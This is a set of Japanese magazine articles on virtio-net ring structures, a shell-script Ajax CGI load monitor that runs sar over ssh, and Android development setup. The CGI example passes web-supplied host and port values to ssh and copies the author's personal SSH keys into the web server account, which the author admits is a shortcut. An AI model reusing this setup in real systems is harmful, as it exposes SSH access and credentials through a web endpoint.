　図2の番号にそって解説します。

Used Ring ゲスト→ホスト方向の
データ転送方法

Virtqueueに含まれない変数

type member description
u16 fl ags フラグ（0x1: ゲストからの通知の一時的な抑制）
u16 idx リング上で一番新しいエントリの番号
UsedRingEntry[QUEUE_NUM] ring Descriptor番号を書き込むリングの本体
u16 avail_event ここで指定された番号のDescriptorが処理されるまで割り込みを抑制

▼表3　Used Ringの構造

type member description
u32 id 先頭のDescriptor番号
u32 len Descriptorチェーンの長さ

▼表4　Used Ringエントリの構造

type member description
u16 fl ags フラグ（0x1：割り込みの一時的な抑制）
u16 idx リング上で一番新しいエントリの番号
u16[QUEUE_NUM] ring Descriptor番号を書き込むリングの本体
u16 used_event ここで指定した番号のDescriptorが処理されるまで割り込みを抑制

▼表2　Available Ringの構造
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1. ドライバの初期化時にあらかじめすべてのDescriptor

のnextの値を隣り合ったDescriptorのエントリ番

号に設定し空きDescriptorのチェーンを作成、

チェーンの先頭Descriptorの番号をfree_headに

代入しておく

2. free_headの値から空きDescriptor番号を取得

3. Descriptorのaddrにデータのアドレス、lenにデー

タ長を代入

4. Descriptorのnextが指す次の空きDescriptorの番

号をfree_headへ代入

5. Available Ringのidxが指す空きエントリに

Descriptorの番号を代入

6. Available Ringのidxをインクリメント（新しい空

きエントリ）

7. Virtio HeaderのQUEUE_SELにキュー番号を書

き込み

8. 未処理データがあることをホストへ通知するため

Virtio HeaderのQUEUE_NOTIFYへ書き込み注4

 ホストドライバ
　図2の番号にそって解説します。

9. ゲストからの通知を受けてlast_avail_idxと

Available Ringのidxを比較、新しいエントリが指

しているDescriptorを順に処理、last_avail_idxを

インクリメント

10. Used Flagsのidxが指す次の空きエントリに処

理済みDescriptorの番号を代入

11. Used Flagsのidxをインクリメント

12. 処理が終わったことを通知するためゲストへ割

り込み

 ゲストドライバ
　図2の番号にそって解説します。

13. ホストからの割り込みを受けてlast_used_idxと

Used Ringのidxを比較、新しいエントリが指し

ている処理済みDescriptorを順に回収、last_

注4） QUEUE_NOTIFYへ書き込むことによりVMExitが発生し、ホ
スト側へ制御が移ることを意図している。

used_idxをインクリメント

14. 回収対象のDescriptorを空きDescriptorの

チェーンへ戻し、free_headを更新

　ホストからゲストへデータを転送するために、
Descriptor Table・Available Ring・Used Ringをどの
ように使うかを次に示します（図3）。
　この方向のデータ転送では、Available Ringは空き
Descriptorの受け渡しに使われ、Used Ringは転送
データを含むDescriptorの通知に使われます。

 ゲストドライバ
　図3の番号にそって解説します。

1. ドライバの初期化時にあらかじめすべてのDescriptor

のnextの値を隣り合ったDescriptorのエントリ番

号に設定し空きDescriptorのチェーンを作成、

チェーンの先頭Descriptorの番号をfree_headに

代入しておく

ホスト→ゲスト方向の
データ転送方法

▼図2　ゲスト→ホスト方向データ転送のイメージ
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2. Available Ringのidxが指す次の空きエントリに空

きDescriptorチェーンの先頭番号を代入

3. Available Ringのidxをインクリメント

4. Virtio HeaderのQUEUE_SELにキュー番号を書

き込み

5. 未処理データがあることをホストへ通知するため

Virtio HeaderのQUEUE_NOTIFYへ書き込み

 ホストドライバ
　図3の番号にそって解説します。

6. データ送信要求を受けてAvailable Ringを参照、

必要な数のDescriptorを取り出す

7. DescriptorをAvailable Ring上の、Descriptor

チェーンから切り離す

8. Descriptorのaddrにデータのアドレス、lenにデー

タ長を代入

9. Used Ringのidxが指す次の空きエントリに

Descriptorの番号を代入

10. Used Ringのidxをインクリメント

11. 未処理データがあることを通知するためゲスト

へ割り込み

 ゲストドライバ
　図3の番号にそって解説します。

12. ホストからの割り込みを受けてlast_used_idxと

Used Ringのidxを比較、新しいエントリが指し

ている処理済みDescriptorを順に処理、last_

used_idxをインクリメント

13. 処理済みDescriptorを空きDescriptorのチェー

ンへ戻し、Available Ringを更新

virtio-netは受信キュー、送信キュー、コント
ロールキューの3つのVirtqueueからなります。
送信キューとコントロールキューはゲスト→ホス
ト方向のデータ転送方法で解説した手順でデータ
を転送します。受信キューはホスト→ゲスト方向
のデータ転送方法で解説した手順でデータを転送
します。受信キュー・送信キューでは、パケット
ごとに1つのDescriptorを使用します。
　Descriptorのaddrには直接パケットのアドレスを
指定しますが、ホストドライバからゲストドライバ
へいくつかの情報を通知するため、パケットの手前
に専用の構造体を追加しています（表5、図4）。
　コントロールキューでは、コマンド用構造体（表6、
図5）にコマンド名を設定してゲストからホストへ
メッセージ送出します。コマンドに付属データが必
要な場合は、コマンド用構造体の直後に続いてデー
タを配置します。コマンドはクラス（大項目）とコマ
ンド（小項目）で整理されており、次のような種類が
あります。
　VIRTIO_NET_CTRL_RXクラスは次のようなコ

virtio-netの実現方法

▼図3　ゲスト→ホスト方向データ転送のイメージ
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マンドを持ち、NICのプロミスキャスモード、ブ
ロードキャスト受信、マルチキャスト受信などの有
効／無効化を行います。

・ VIRTIO_NET_CTRL_RX_PROMISC

・ VIRTIO_NET_CTRL_RX_ALLMULTI

・ VIRTIO_NET_CTRL_RX_ALLUNI

・ VIRTIO_NET_CTRL_RX_NOMULTI

・ VIRTIO_NET_CTRL_RX_NOUNI

・ VIRTIO_NET_CTRL_RX_NOBCAST

　VIRTIO_NET_CTRL_MACクラスは次のような
コマンドを持ち、MACフィルタテーブルの設定に使
用します。

・ VIRTIO_NET_CTRL_MAC_TABLE_SET

・ VIRTIO_NET_CTRL_MAC_ADDR_SET

　VIRTIO_NET_CTRL_VLANクラスは次のような
コマンドを持ち、VLANの設定に使用します。

・ VIRTIO_NET_CTRL_VLAN_ADD

・ VIRTIO_NET_CTRL_VLAN_DEL

　VIRTIO_NET_CTRL_ANNOUNCEクラスは次
のようなコマンドを持ち、リンクステータス通知に
対してackを返すのに使用します。

・ VIRTIO_NET_CTRL_ANNOUNCE

・ VIRTIO_NET_CTRL_ANNOUNCE_ACK

　VIRTIO_NET_CTRL_MQクラスクラスは次のよ
うなコマンドを持ち、マルチキューのコンフィギュ
レーションに使用します。

・ VIRTIO_NET_CTRL_MQ_VQ_PAIRS_SET

・ VIRTIO_NET_CTRL_MQ_VQ_PAIRS_MIN

・ VIRTIO_NET_CTRL_MQ_VQ_PAIRS_MAX

　Virtqueueと、これを用いたNIC（virtio-net）の実
現方法について解説しました。次号では、これまで
の総集編で、仮想化システムの全体像を振り返りま
す。｢

type member description
u8 fl ags フラグ（Checksum offl oad）
u8 gso_type GSOによるパケットタイプ情報
u16 hdr_len Ethernet＋ IP＋TCP/UDPヘッダの長さ
u16 gso_size データ長
u16 csum_start チェックサムフィールドの位置
u16 csum_offset チェックサムの計算開始位置

type member description
u8 class クラス（大項目）
u8 cmd コマンド（小項目）

▼表5　struct virtio_net_hdr

▼表6　struct virtio_net_ctrl_hdr

まとめ

▼図4　送受信キュ―のデータ構造 ▼図5　コントロールキューのデータ構造

desc.addr
virtio_net_ctrl_hdr

desc.len packet data

desc.addr
virtio_net_ctrl_hdrdesc.len
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　ここ2回は、「シェルスクリプトでCGIをやっ
ちまえ！」という企画で進めてきましたが、今回
はその最終回です。最終回らしく最もシェルス
クリプトと縁遠そうなAjaxをやってみます。
　AjaxというのはAsynchronous JavaScript＋
XMLの略なのですが、これほどよくわからない
言葉もありません。また、jQueryなどの直接
Ajaxとは関係ないものと抱き合わせで覚える人
も多いので、なんとなく敷居の高いもののよう
に感じている人もいると思います。
　今回は、JavaScriptとシェルスクリプトだけ
でAjaxを実現することで、Ajaxの正体が案外単
純なものであることをお見せします。JavaScript

の知識が少し必要ですが、JSONもXMLも
jQueryもprototype.jsも出てきません。それら
は本質的に無関係です。

言葉や属性こそ、物事の本質に一致すべきであ
り、逆に本質を言葉に従わせるべきではない。と
いうのは、最初に物事が存在し、言葉はその後
に従うものだからだ。̶̶ガリレオ・ガリレイ

　前々回と前回注1に引き続き、筆者はMacで
Apacheを起動してコードの動作確認をしていま

注1） 本誌2013年7月号と8月号。

はじめに

環境

す。今回は、CGIスクリプトだけでなく、静的
なHTMLファイルもブラウザで閲覧したいので
すが、筆者のMacでは、デフォルトでLibrary/

WebServer/Documents/というディレクトリに
HTMLファイルを置くことになっているみたい
です。前々回、̃/cgi-bin/というシンボリック
リンクを作ってCGIスクリプト置き場にリンク
をはりましたが、今回も同様にシンボリックリ
ンクをはります。
　手順を図1に示します。万が一、前々回、前
回を読んでいなくても、図1の lsの出力のよう
に設定できれば大丈夫です。
　準備ができたら、次のようにコマンドを打っ
てApacheを立ち上げましょう。

　また、今回はMac上でCGIスクリプトを動か
すのですが、あとの課題でCGIスクリプトが
Linuxサーバとsshコマンドで通信を行います。
課題の都合上、通信先のLinuxサーバにはsarコ
マンド（sysstat）がインストールされていること
を前提としています。

Webページを動的に書き換える

　まず、一番簡単な例から示します。結局のと
ころ、Ajaxというのはブラウザに表示された
Webページの裏でJavaScriptがCGIスクリプト
を呼び出し、結果をもらってWebページの一部

$ sudo apachectl start

Ajaxの実現方法

第21回 CGIスクリプトを作る（3）
̶̶ Ajaxで動的に画面を更新

テキストデータならお手のもの

USP友の会／産業技術大学院大学　上田 隆一  UEDA Ryuichi　 Twitter  @uecinfo
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を書き換える方法です。HTMLファイルの中に、
そのしかけのJavaScriptを書いてやればよいと
いうことになります。
　そのミニマムな構成が、リスト1のHTML

ファイルです。HTML5で書いていますが、別
にHTML 4.01でもXHTMLでもかまいません。
　シェルスクリプトの話ではないのであまり細
かく話しませんが、最低限知っておくべきこと
を書きます。16行目のonload="callCgi()"を
書くことによって、ブラウザにこのHTMLの内
容が表示されたときに6行目のfunction～で定
義した関数が起動します。8～11行目でCGIス
クリプトを呼び出して、12行目でCGIスクリプ
トが送ってきた文字列を受け取っています。そ
れで、受け取った文字列を12行目の前半で
document.body.innerHTML =とあるように、
bodyの内側に相当する部分に代入しています。
ブラウザにはこの代入がすぐに反映されるので、
画面には代入したものが表示されます。
　もうちょっとCGIスクリプトを呼び出す部分
を説明しなければなりません。まず、8

行目はPOSTメソッドを使い、/cgi-

bin/show.cgiにデータを送るぞと宣言
しています。前回、GETメソッドを
使ってCGIスクリプトに文字列を投げ
ましたが、POSTもCGIスクリプトに
データを送るもう1つの方法です。も
う1個の引数 falseは、今は無視してく
ださい。9、10行目はshow.cgiを呼び
出すときに使うHTTPヘッダを作って
います。実際にshow.cgiを呼び出して
いるのは11行目で、show.cgiに向かっ
てdummy=<乱数>という文字列を送っ
ています。毎回同じ文字列をPOSTし

ようとすると、怠けてCGIスクリプトを呼ばな
いブラウザがあるので、乱数でそれを防いでい
ます。ところで、この部分のJavaScriptの書き
方は、元来単純なHTTPを複雑にラッパーして
いて、正直ぎこちない感じがします。みなさん
はどう感じるでしょうか？
　このHTMLから呼ばれる show.cgiを作りま
しょう。とにかく何か文字列を送ればブラウザ
に表示されるのですが、ここはリスト2のよう
に書いてdateの出力でも送ってみましょう。
　このようにHTTPヘッダを出力したあとに
dateを実行します。ただ時刻を送ってもおもし
ろくないので、strongで囲ってCSSでスタイル
も指定しています。show.cgiのパーミッション

CGIスクリプトを作る（3）
̶̶ Ajaxで動的に画面を更新 第21回

$ ln -s /Library/WebServer/Documents/ html
$ sudo chown ueda:staff html
$ ls -l ̃/cgi-bin ̃/html
lrwxr-xr-x  1 ueda  staff  35  4 22 23:52 /Users/ueda/cgi-bin -> /Library/WebServer/CGI- ｭ
Executables/
lrwxr-xr-x  1 ueda  staff  29  6 16 11:37 /Users/ueda/html -> /Library/WebServer/Documents/

図1　HTMLファイルの置き場所にリンクをはって所有権を変更 ▼

01 <!DOCTYPE html>
02 <html lang="ja">
03   <head>
04     <meta charset="UTF-8" />
05     <script>
06       function callCgi(){
07         var h = new XMLHttpRequest();
08         h.open("POST","/cgi-bin/show.cgi",false);
09         h.setRequestHeader("Content-Type",
10             "application/x-www-form-urlencoded");
11         h.send( "dummy=" + Math.random() );
12         document.body.innerHTML = h.responseText;
13       }
14     </script>
15   </head>
16   <body onload="callCgi()">
17   </body>
18 </html>

リスト1　Ajaxを実現する最小構成のHTML（ ▼ ~/html/ajax1.html）

01 #!/bin/bash
02 
03 echo 'Content-type: text/html'
04 echo 
05 echo '<strong style="font-size:24px">'
06 date
07 echo '</strong>'

リスト2　CGIスクリプト（ ▼ ~/cgi-bin/show.cgi）
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をいじって実行可能にしたら、ajax1.htmlをブ
ラウザで見てみましょう。図2のように大きな
太字で時刻が表示されたら成功です。
　show.cgiのほうは、普通のCGIスクリプトの
ようにHTTPヘッダを出力したあと、HTMLの
破片を出力します。ajax1.htmlに比べて単純極
まりないですが、そういうものです。これも
「JSONで送ったほうがきれい」などと、いろい
ろ議論はありますが、ここではスルーしておき
ましょう。簡単にできることを無理に複雑にす
ることはないでしょう。

非同期通信

　今の例を応用すると、ブラウザに表示される
ものを動的に書き換え放題になるわけですが、
頻繁にCGIスクリプトを呼び出す場合には1つ
問題があります。リスト2の書き方ではCGIス
クリプトが返事をよこさないと、ブラウザは待っ

ている間、固まってしまいます。具体的には、
マウスの操作や文字の入力をいっさい受け付け
なくなってしまいます。
　実はAjaxにはブラウザを固めないようにする
もう1つの書き方があります。リスト3のよう
に書きます。ブラウザから閲覧すると、ajax1.

htmlと同じように時刻が表示されると思います。
何も見かけは変わりませんが、たとえばリスト
2の2行目あたりにsleep 10と入れて、10秒間
ブラウザを待たせると違いがわかります。リス
ト1の場合、タブを見ていると受信待ちの状態
（ChromeやFirefoxならぐるぐる丸いマークが
回る状態）になりますが、リスト3の場合はその
ようにならず、何も待っているような気配もな
いのに10秒後に時刻が表示されます。
　これもJavaScriptの話になりますが、何を
やっているかというと、8行目のh.onready
statechangeというのが、CGIスクリプトから
返事が来たら実行される関数の名前で、そこに
= function(){...で関数の中身を結び付けて
います。8行目から13行目は、単に関数を名前
に代入しているだけですので、実際に実行され
るのはCGIスクリプトから返事が来たときです。

　ということは、8～13行目はすっ
飛ばされて、15行目のopen以下の
CGIスクリプトにちょっかいを出
す処理が行われたあとに、この関
数は終わります。openの第3引数
が falseから trueに変わっています
が、これは「非同期にするよ」とい
う意味です。
　関数が終わったあと（反応がもの
すごく速い場合は終わる前かもし
れませんが）、CGIスクリプトから
返事が来ます。そこで、8～13行目
で設定した関数の中身が走ります。
まず、9行目で

・ CGIスクリプトから受信完了
（h.readyStateが4）

01 <!DOCTYPE html>
02 <html lang="ja">
03   <head>
04     <meta charset="UTF-8" />
05     <script>
06       function callCgi(){
07         var h = new XMLHttpRequest();
08         h.onreadystatechange = function(){
09           if(h.readyState != 4 ¦¦ h.status != 200)
10             return;
11 
12           document.body.innerHTML = h.responseText;
13         }
14 
15         h.open("POST","/cgi-bin/show.cgi",true);
16         h.setRequestHeader("Content-Type",
17             "application/x-www-form-urlencoded");
18         h.send( "dummy=" + Math.random() );
19       }
20     </script>
21   </head>
22   <body onload="callCgi()">
23   </body>
24 </html>

リスト3　 ajax1.htmlを非同期処理に書き換えたHTML（ajax2.html） ▼

図2　 ajax1.htmlからshow.cgiを呼び出し ▼
た際の画面
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・ CGIスクリプトからのステータスコードがOK
（h.statusが200）注2

であることを確認し、その下に書いてある処理
を実行します。
　この書き方だと、CGIスクリプトからの受信
を受け取る処理が後ろに回るので、ブラウザ側
で待ちが発生しているように見えることはあり
ません。Ajaxでは、普通はこのように非同期を
使い、画面の内容に齟

そ ご

齬が出ないようにしたい

注2） 「404 not found」とか「403 forbidden」とかのアレです。

ときは同期を使います。たとえば、セレクトボッ
クスで都道府県を選んでもらって、別のセレク
トボックスに表示する市町村をAjaxで動的に書
き換える場合、何も考えなしに非同期で実装す
ると、ありえない都道府県と市町村の組み合わ
せを選ぶことが可能になってしまいます。

　このままだとまるでJavaScript講座になって
しまうので、シェルスクリプトを組み合わせて
作り物をしてみましょう。管理している複数の
Linuxサーバの負荷をモニタするツールを作っ
てみます。
　まず、Ajaxで呼び出されるシェルスクリプト
を書きます。リスト4に示すのは、IPアドレス
とsshのポート番号をPOSTされたら、そのIP

の持ち主のロードアベレージを取得し、SVG

（Scalable Vector Graphics）でグラフを描く
シェルスクリプトです。
　このスクリプトは説明すべき点がいくつもあ
ります。まず、4行目のPATHの設定は、標準
的でないコマンド注3の場所を明示的に指定する
ためのものです。端末から手でシェルスクリプ
トを実行する場合は、設定ファイルにパスを書
いておけば気にしなくてよいのですが、CGIス
クリプトやcronで呼ばれるスクリプトの場合は、
明示的に指定する必要があります。

　そして、7、8行目は、POST

されたデータを読み込む処理
です。POSTは、前回行った
GETメソッドと同じくクライ
アント（ブラウザ）側からCGI

スクリプトにデータを送り込
む処理です。GETの場合は
QUERY_STRINGという変
数にデータがセットされます

注3） この場合はOpen usp Tukubai。
https://uec.usp-lab.com を参考
のこと。

複数のサーバの
監視画面を作る

CGIスクリプトを作る（3）
̶̶ Ajaxで動的に画面を更新 第21回

01 #!/bin/bash -xv
02 exec 2> /tmp/log
03 
04 PATH=/usr/local/bin:$PATH
05 tmp=/tmp/$$
06 
07 dd bs=${CONTENT_LENGTH}  ¦
08 cgi-name -i_ -d_         > $tmp-name
09 
10 host=$(nameread host $tmp-name)
11 port=$(nameread port $tmp-name)
12 
13 ssh "$host" -p "$port" 'LANG=C sar -q'  ¦
14 grep "^..:..:.."                        ¦
15 sed 's/^¥(..¥):¥(..¥):../¥1時¥2分/'    ¦
16 grep -v ldavg                           ¦
17 tail -r                                 ¦
18 awk '{print NR*20+20,$1,int($4*100),$4,¥
19      NR*20+7,NR*20+19}'  > $tmp-sar
20 #1:文字y位置 2:時刻 3:棒グラフ幅 4:ldavg
21 #5:棒グラフy位置 6:ldavg文字y位置
22 
23 cat << FIN > $tmp-svg
24 <svg style="width:300px;height:600px">
25   <text x="0" y="20" font-size="20">$host</text>
26 <!-- RECORDS -->
27   <text x="0" y="%1" font-size="14">%2</text>
28   <rect x="68" y="%5" width="%3" height="15"
29     fill="navy" stroke="black" />
30   <text x="70" y="%6" font-size="10" fill="white">%4</text>
31 <!-- RECORDS -->
32 </svg>
33 FIN
34 
35 echo "Content-Type: text/html"
36 echo
37 mojihame -lRECORDS $tmp-svg $tmp-sar
38 
39 rm -f $tmp-*
40 exit 0

リスト4　 サーバの負荷をグラフ表示するCGIスクリ ▼
プト（ldavg.cgi）

https://uec.usp-lab.com
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が代入されるかもしれません。後ろのsshのオ
プションに指定するときは、必ずクオートして
おきましょう。
　13～19行目は、監視対象のLinuxホストから
ロードアベレージを取得して、SVGに埋め込む
文字列を作っています。sar -qの出力は図4の
ようなものです。この出力から余計なヘッダを
除去し、ldavg-1というフィールドを取得して、
リスト5のようにグラフを描くために必要な縦
軸、横軸、その他座標を出力します。リスト4、
17行目のtail -rはファイルの上下を逆さにす
るコマンドで、Linuxの tacと等価です。
　あとはSVGを作ってHTTPヘッダを付けて
標準出力に出すだけです。Open usp Tukubaiの
mojihameコマンドで、$tmp-svgにリスト5の
データを繰り返しはめ込んでいき、グラフの
SVGを作ります。これは本連載の第4回注5で
扱ったテーマですので繰り返し説明しませんが、
とにかく絵を描くためのHTML片を出力してい
るんだと納得し、先にお進みください。
　次はHTML側……といきたいのですが、ssh

で鍵認証を使うのでその設定が必要です。_www

ユーザでueda@www.usptomo.comに接続したい
のですが、Macの場合は/Library/WebServer/

.ssh/下に鍵一式を置けばよいようです。筆者は
自分の鍵を流用するために図5のような横着を
しましたが、まともにやるならrootになって鍵
を作って接続先のサーバにセットしましょう。
所有者とパーミッションに注意。
　これでHTML側の話に移れます。HTML側で

は、複数のホストに対して ldavg.cgi

を実行し、グラフを描くようにコー
ディングします（リスト6）。これで

注5） 本誌2012年4月号。

が、POSTではApacheがCGIスクリプトの標
準入力にデータを突っ込んでくるので、それを
ddコマンドで吸い出します。ddは、HDDのイ
メージを吸い出したりするあのddです。標準入
力ですのでもっと簡単な方法もありそうですが、
筆者がUSP研究所に入社したときはすでにこの
方法が確立されていたので、ほかの方法を試し
ていません注4。
　ddから出たデータは、これも弊社ではお約束
ですが、Open usp Tukubaiのcgi-nameというコ
マンドに通してそのままファイルに出力します。
cgi-nameの動きを図3に示します。HTMLの
フォームからPOSTされたデータは、このecho

のオプションのような文字列でやってくるので
すが、それをコマンドなどでさばきやすいよう
にキーバリュー式のテキストに変換します。エ
ンコードされた日本語なども変換してくれます。
　リスト4の10、11行目は変数host、portにそ
れぞれホスト、ポート番号を代入する処理です。
namereadもOpen usp Tukubaiのコマンドで、
ファイルから指定したキーの値を取るものです。
このとき、host、postに変な（攻撃用の）データ

注4） このテクニックもhttps://uec.usp-lab.comで公開しています。

$ echo 'host=ueda@www.usptomo.com&port=12345' ¦ cgi-name
host ueda@www.usptomo.com
port 12345

図3　cgi-nameの動作例 ▼

$ ssh www.usptomo.com -p 12345 'LANG=C sar -q' ¦ head -n 7
Linux 2.6.32-279.19.1.el6.x86_64   略  

00:00:01      runq-sz  plist-sz   ldavg-1   ldavg-5  ldavg-15
00:10:01            1       136      1.26      1.10      0.58
00:20:01            0       132      0.02      0.32      0.45
00:30:01            0       133      0.08      0.06      0.23
00:40:01            0       131      0.00      0.00      0.10

図4　sarの出力例 ▼

# cd /Library/WebServer/
# rsync -a /Users/ueda/.ssh/ .ssh/
# chown _www:_www .ssh/
# chown _www:_www .ssh/*

図5　uedaアカウントの鍵を_wwwアカウントに移す ▼

40 14時00分 12 0.12 27 39
60 13時50分 0 0.00 47 59
80 13時40分 3 0.03 67 79
...

リスト5　$tmp-sarに溜まるデータの例 ▼

https://uec.usp-lab.com/
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複数のサーバの状態を一目で監視するWeb画面
のできあがりです。Ajaxは面倒臭いですけど非
同期で使います。
　このコードはリスト3を基にして作ったもの
です。31行目の<body onload=...で、ページ
が読み込まれたときにcheckという関数を呼び
出し、あとは60秒ごとにcheckを繰り返し呼び

ます。check関数では、監視対象のホストを指
定して ldavg関数を呼び出しています。
　これで ldavg.htmlをブラウザに表示すると図
6のようにグラフが表示され、1分ごと（sarの
データ自体は10分ごと）に再描画されます。

　今回はCGIの最終回ということで、シェルス
クリプトでAjaxというお題に挑戦しました。今
回紹介した方法を使うと、同期だろうが非同期
だろうがサーバからシェルスクリプトで何でも
送れてしまうことは示したので、きれいにWeb

ページをデザインすれば、まさか後ろがシェル
スクリプトだとは思えないようなサイトが作れ
ることでしょう。……案外、そういうサイトは
多いのかもしれませんよ。
　次回は、原稿やメモ書きなどの、文章を扱う
というお題を扱います。｢

終わりに

CGIスクリプトを作る（3）
̶̶ Ajaxで動的に画面を更新 第21回

01 <!DOCTYPE html>
02 <html lang="ja">
03   <head>
04     <meta charset="UTF-8" />
05     <script>
06       var hosts = ["host=ueda@www.usptomo.com&port=12345",
07                    "host=ueda@araibo.is-a-geek.com&port=12345"];
08
09       function check(){
10         ldavg(0,"graph0");
11         ldavg(1,"graph1");
12       }
13 
14       function ldavg(hostno,target){
15         var h = new XMLHttpRequest();
16         h.onreadystatechange = function(){
17           if(h.readyState != 4 ¦¦ h.status != 200)
18             return;
19 
20           document.getElementById(target).innerHTML = h.responseText;
21         }
22
23         h.open("POST","/cgi-bin/ldavg.cgi",true);
24         h.setRequestHeader("Content-Type",
25             "application/x-www-form-urlencoded");
26         h.send( "d=" + Math.random() + "&" + hosts[hostno]);
27       }
28 
29     </script>
30   </head>
31   <body onload="check();setInterval('check()',60000)">
32     <div id="graph0" style="height:600px;width:350px;float:left"></div>
33     <div id="graph1" style="height:600px;width:350px;float:left"></div>
34   </body>
35 </html>

リスト6　ldavg.cgiを呼び出すHTML（ldavg.html） ▼

図6　完成した画面 ▼



140 - Software Design140 - Software Design Sep.  2013 - 141

Androidを
はじめるなら今

　もしあなたがAndroidでアプリ開発をしてみ
たいと思っているのであれば、今始めるのが絶
好の時期と言えるでしょう。なぜなら今Android

開発は安定期に入っており、入門者にとって学
びやすく、非常によい地盤が固まっている時期
と言えるからです。
　Googleは今年5月15日～17日にかけて開発
者向け会議Google I/Oを開催しました。そこで
の発表によるとAndroidは現在9億デバイスと
いう途方もない数の端末がアクティベーション
されている、というのです。Androidは世界中
の人々が普通に持っているモノとなってきてい
ることがうかがえます。また、例年までのGoogle 

I/OではAndroidの新しい技術が投入されるな
どして開発者たちを賑わせてきましたが、今年
は新投入される機能よりもより実践的なアプリ
開発についてのセッションが多くありました。
中には「Androidアプリで稼ぐには？」といった
あからさまなタイトルがあったほどです。
　こういったGoogle I/Oでの発表内容からわか
ることは、Androidはもはや新しい技術として
もてはやされる黎明期はとうに過ぎ去り、確実
に安定期に入っているということです。書籍や
Webを探せば先人たちによって非常にたくさん
のバッドノウハウやベストプラクティスが情報

共有されています。アプリを公開すれば世界中
の人々にサービスを届けることができます。今
からAndroidアプリ開発を始めようと思ってい
るのであれば、先駆者たちの知恵を借りながら
すばやく技術をマスターできるでしょう。そし
てその技術を活かすことのできる舞台が十分に
できあがっているのです。
　これから3回連続の予定で、毎回テーマごと
にAndroid開発におけるエッセンスを抜き出し、
Android開発のおもしろさを伝えていきたいと
考えています。また最新の情報を盛り込むこと
で、既存のAndroid開発者にとっても有益な情
報を盛り込んでいきます。
　今回はJDK、ADTバンドル版Eclipseのイン
ストール、サンプルアプリの実行、デバッグ方
法を解説していきます。

開発環境の準備

　まずは開発環境の準備から始めます。ここは
さっと済ませてしまいましょう。ただし押さえ
ておきたい情報はその都度盛り込んでいきます。
　Android開発には統合開発環境Eclipseを使用
します。Eclipseをインストールする前にJDK

（Java Development Kit）をインストールします。
JDKをインストールする理由は2つあり、1つ
目にAndroidのJavaソースコードのコンパイル
のため、そして2つ目にEclipse自体を動作させ

G o o g l e A n d r o i d

鈴木 圭介　SUZUKI Keisuke
Android ＆ 組込み技術者

 URL  www.ksksue.com/wiki/   Mail  ksksue@gmail.com

モバイルデバイス初のオープンソースプラットフォームとして、
エンジニアから高い関心を集めるGoogle Android。いち早くそ
のノウハウを蓄積したAndroidエンジニアたちが展開するテク
ニックや情報を参考にして、大きく開かれたAndroidの世界へ
踏みだそう！
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第40回

モバイルデバイス初のオープンソースプラットフォームとして、
エンジニアから高い関心を集めるGoogle Android。いち早くそ
のノウハウを蓄積したAndroidエンジニアたちが展開するテク
ニックや情報を参考にして、大きく開かれたAndroidの世界へ
踏みだそう！
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るためです。
　本稿では筆者の環境、Windows 7 64bit上に
開発環境を構築していくという前提で話を進め
ていきます。

JDKのインストール

　JDKダウンロードページ注1からJDK 7をダウ
ンロードしインストールします。「Java SE 

Development Kit 7u25」（u25の数値は2013年
6月24日時点でのバージョン番号です）の各プ
ラットフォーム一覧の中から使用OSを選択し
てください。たとえば32bit Windowsを使用し
ている場合はWindows x86にある jdk-7u25-

windows-i586.exeを、64bit Windowsを使用し
ている場合はWindows x64にある jdk-7u25-

windows-x64.exeをダウンロードし、インストー
ルします。インストール作業は最後までそのま
ま進めてください。インストーラによる設定変

注1） http://bit.ly/JDKdown

更は必要ありません注2。

ADTバンドル版Eclipseの
インストール

　次にAndroid SDKのページ注3へ行き、ADT

バンドル版Eclipseをダウンロードしましょう。
ページの［Download the SDK ADT Bundle for 

Windows］ボタンをクリックし、次のページで
32bit版か64bit版かを選択してダウンロードし
ます。ちなみに以前は別サイトでEclipseをダ
ウンロードし、ADTをEclipseに登録するとい
う作業が必要でしたが、ADTバンドル版となっ
てからはその作業が必要なくなりました。
　さて次に、ダウンロードしたzipファイルを
適当な場所に解凍します。解凍したフォルダに
ある eclipseフォルダを開くと、お目当ての

注2） 現在、JDKのバージョン移行に伴い、Oracleは JDK 7への
移行を推奨していますが、GoogleはADTの動作環境をJDK 
6のままにしています。筆者が調べた限りJDK 7で問題なさ
そうでしたが、JDK 6をインストールしたい方はJDK 6アー
カイブページ（http://bit.ly/JDK6archive）からパッケージを
ダウンロード、インストールしてください。

注3） http://bit.ly/AndSdk

▼図1　Android SDK ADT Bundle for Windows

Android SDK Manager AVD Manager

ソースコードビュー

プロジェクトビュー

ソースコードアウトライン

LogCatなど各種ビュー

http://bit.ly/JDKdown
http://bit.ly/JDK6archive
http://bit.ly/AndSdk
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eclipse.exeファイルがあるので、そのショート
カットを好きな場所、たとえばデスクトップな
どに作っておきましょう。ショートカットをダ
ブルクリックして起動すると、デフォルトワー
クスペースの場所を聞かれます。とくに理由が
なければ場所を変更する必要はないでしょう。
チェックボックスのある「Use this as the default 

and do not ask again（これをデフォルトとし、次
回起動時ダイアログを表示しない）」にチェック
を入れてOKをします。
　続いてContribute Usage Statistics? という
ダイアログが出てきます。SDKの使用状況を
Googleへ送信してSDKの改善に貢献する場合
はYes、そうでない場合はNoを選んで［Finish］
ボタンを押しましょう。初回起動の場合、画面
いっぱいにAndroid IDEタブが表示されるので
タブを閉じます。するとAndroidの開発環境が
姿を現します。前ページの図1のような画面と
なっているはずです。
　次に開発パッケージをインストールする作業
に入ります。

Android SDK Managerの
設定

　Android SDK ManagerはSDKのパッケー
ジ・バージョン管理をしています。Androidの

バージョンごとに開発パッケージが異なるため
です。新しいバージョンの開発パッケージがリ
リースされたときにはこのAndroid SDK 

Managerを使ってアップグレードします。ただ
しアップデートの通知機能はないので自分で時
折アップデートがないかチェックするようにし
ましょう。
　Eclipse画面の左上にある2つのAndroidアイ
コンのうち、左側にあるのが「Android SDK 

Manager」です（図1の囲み参照）。このアイコン
をクリックするとAndroid SDK Managerが起
動します（図2）。Android SDK Managerでは開
発パッケージをインストールするかしないかを
選択でき、必要な場合はダウンロードする、と
いう方法で管理されています。
　Eclipseインストール直後の初期状態では、最
新バージョンの開発パッケージしかインストー
ルされていません。そのため、開発対象とする
Android端末バージョンにあった開発パッケー
ジがインストールされていない場合は、ここで
インストールするよう選択する必要があります。
また、後でサンプルプロジェクトを使いたいの
で、ご自身のAndroid端末バージョンにあった
サンプルプロジェクト（Samples for SDK）も選
択しておくことにします。
　たとえばお手持ちの端末バージョンがAndroid 

4.0.3であった場合、「Android 4.0.3（API 15）」
にある「SDK Platform」と「ARM EABI v7a Sy

stem Image」と「Samples for SDK」にチェック
を入れます。
　加えて、Windowsの場合は端末とPCとの接
